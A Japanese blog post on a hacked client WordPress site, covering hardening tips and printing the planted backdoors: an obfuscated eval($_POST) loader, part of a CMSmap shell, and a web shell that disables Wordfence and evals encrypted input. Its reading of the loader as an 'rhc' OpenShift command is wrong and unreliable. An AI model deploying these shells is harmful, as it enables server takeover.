本記事はWordpressを利用されている方への注意喚起として公開したい。


ここで言うハッキングされたサイトは本ブログサイトではなく、
筆者が本業で管理するサーバ上にホスティングされているクライアントのWEBサイトです。

該当のWEBサイトは物件情報の更新をWordpressの管理画面を一部開放し、
クライアントで更新が行えるようにカスタマイズして構築されたWEBサイトです。要はWEBサイトの更新を行うにあたり、都度Webサイトの修正費用が発生するため、コスト削減のためにCMSを利用しています。

尚、今回の年末進行タスクの中で追加で発生し、被害状況も不明なため、今回は拙速な復旧というよりも一旦メンテナンス画面を表示させることで対応をとるものとした。


投稿元が固定可能であればIPアドレス制限を

まずは、IPアドレス制限が可能ならばIPアドレス制限をすべきです。
ただし、更新を行う方が複数居て、複数の場所であったり、特定できない場合を除きます。コロナの影響で在宅ワークが増えている昨今ではIPアドレス制限はなかなか難しい状況ではあると思います。

ただ職場からしか更新しないケースで固定IPで制限が可能であれば、
wp-admin、wp-login.phpファイルへのアクセス可能なIPアドレスを限定することが有効な対策です。

これには以下のように「.htaccess」ファイルにIPアドレスを記述することで対策が可能です。

<FilesMatch "wp-login.php|wp-admin">
  Order deny allow
  Deny from all
  Allow from xxx.xxx.xxx.xxx
</FilesMatch>

パスワードは複雑化しなければ絶対にダメ

まず今回のクライアントのユーザ名はadminで容易に推測可能なパスワード(※admin@123など)であったことがわかった。
そのためブルートフォース攻撃(パスワード総当たり)であっという間に侵入されたものと推測する。


ログイン失敗時のIPアドレスをブロックするプラグイン

ログイン試行を繰り返すと何度もパスワードを誤ることになる。
そこで一時的にそのIPアドレスをブロックするプラグインを導入することでブルートフォース攻撃を受けた際のログイン試行の時間稼ぎをすることができます。


画像認証を追加するプラグイン

上記IPブロックに加えて認証時に画像認証機能CAPTCHAを追加するプラグインについても導入することも対策として有効でしょう。

画像認証は英字の画像を解析するツールもありますので、日本語の画像認証にしておくのが良いでしょう。


実際に侵入者はどんな仕掛けをしていったのか?

侵入防止対策としては上記等になるのだが、では侵入者はブルートフォース攻撃で侵入に成功した場合、Wordpressサイトに何を仕掛けていくのでしょう。

侵入者には侵入成功したサイトを利用して何かをしたい、成し遂げたい目的や動機があるはずです。その点について考察します。


まず、WEBサイトの表示が崩れていると連絡を受けた。

今回侵入されWordpressサイトに何が起こったかというと、WEBサイトの表示が崩れていると報告を受けました。

表示が崩れている=>レイアウト定義がどこか誤っている?=>スタイルシートなどのファイルで異常がないか?

通常は侵入されたと思ってないため、上記観点でWEBサイトの表示崩れについて調査していくと思います。

侵入者はそれを見越してか、以下のファイルにウイルスを仕込んで行ってました。WindowsDefenderで検知しました。

/wp-includes/css/wp-config.php
/wp-include/css/css.php
/wp-content/themes/.index.php

仕込まれていた「/wp-includes/css/wp-config.php」の中身

<?
$_uU=chr(99).chr(104).chr(114);
$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);
$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);
$_=$_fF("",$_cC);
@$_();
?>

上記の$_uU=chr(99).chr(104).chr(114);部分について何をしているのか以下のコードで確認してみました。

<?php
$_uU = chr(114).chr(104).chr(99);
print($_uU);
?>

すると「rhc」というコマンドを発行させようとしているようでした。
rhcというコマンドがなんなのか?
筆者の検証用Linuxマシンにsudo apt install rhcでインストールしてみたところ、rhcとはRedHatのクラウド・コンテナ環境であるOpenshiftへアクセスするためのツール(ruby)でした。

その後のコマンドを筆者の検証マシンで続けるのは危険と判断し、調査はここまで。

仕込まれていた「/wp-includes/css/css.php」の中身

cmsmapというツールが含まれていました。
配布元のgithubは現在は404notfoundになっていました。
以下ファイルの他バイナリ部分も含まれていました。

/**
 * Plugin Name: CMSmap - WordPress Shell
 * Plugin URI: https://github.com/m7x/cmsmap/
 * Description: Simple WordPress Shell - Usage of CMSmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developer assumes no liability and is not responsible for any misuse or damage caused by this program.
 * Version: 1.0
 * Author: CMSmap
 * Author URI: https://github.com/m7x/cmsmap/
 * License: GPLv2
 */
?>
<?php
$password='xxxxxxx';
$shellname='xxxxxxx';
$myurl=null;
error_reporting(0);
@set_time_limit(0);
    function Class_UC_key($string){
                $array = strlen (trim($string));
                $debuger = '';
                for($one = 0;$one < $array;$one+=2) {
                        $debuger .= pack ("C",hexdec (substr ($string,$one,2)));
                }
                return $debuger;
        }
header("content-Type: text/html; charset=gb2312");
$filename=Class_UC_key("2470617373776F72643D27").$password.
Class_UC_key("273B247368656C6C6E616D653D27").$Username.
Class_UC_key("273B246D7975726C3D27").$Url.

仕込まれていた「/wp-content/themes/.index.php」の中身

セキュリティ対策プラグインのwordfenceを呼び出しているようです。
ここでは無効化を試みているのでしょうか。

<?php
if (is_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence/wordfence.php')) {rename($_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence',$_SERVER['DOCUMENT_ROOT'].'/wp-content/plugins/wordfence'.rand());}
@error_reporting(0);
session_start();
    $key="xxxxxxxxxxxxxxxxxx";
        $_SESSION['k']=$key;
        $post=file_get_contents("php://input");
        if(!extension_loaded('openssl'))
        {
                $t="base64_"."decode";
                $post=$t($post."");

                for($i=0;$i<strlen($post);$i++) {
                         $post[$i] = $post[$i]^$key[$i+1&15];
                        }
        }
        else
        {
                $post=openssl_decrypt($post, "AES128", $key);
        }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
        class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
        echo 'AGM';
?>

改竄されていたファイル

index.phpとwp-login.phpのファイルが改竄され、ログインパスワードをファイルに書き出し、特定のUrlへ送付する仕組みになっていた。

(推測)攻撃者の目的

改竄された点ではまだ気がついてない点があるかもしれないが、
目的はWordpressを踏み台としたサーバの乗っ取りと言えそうだ。
またPHPファイルにWindowsの実行バイナリを含め、WEB制作者のWindowsPCへ木馬ウイルスを踏みやすいようにcssファイルを仕込んでいったのであろう。
尚、ファイルが変更されたタイムスタンプは12月19日であり、その3日後の22日に早期に表示崩れは発見でき、原因の調査やメンテナンス表示対応に3日ほどかかってしまった。

これから復元していくことになるが、制作者のPCのウイルスチェックを行ってもらうこと、サーバ上はドキュメントルートの変更など考えられる対策を全て実施していきたいと思います。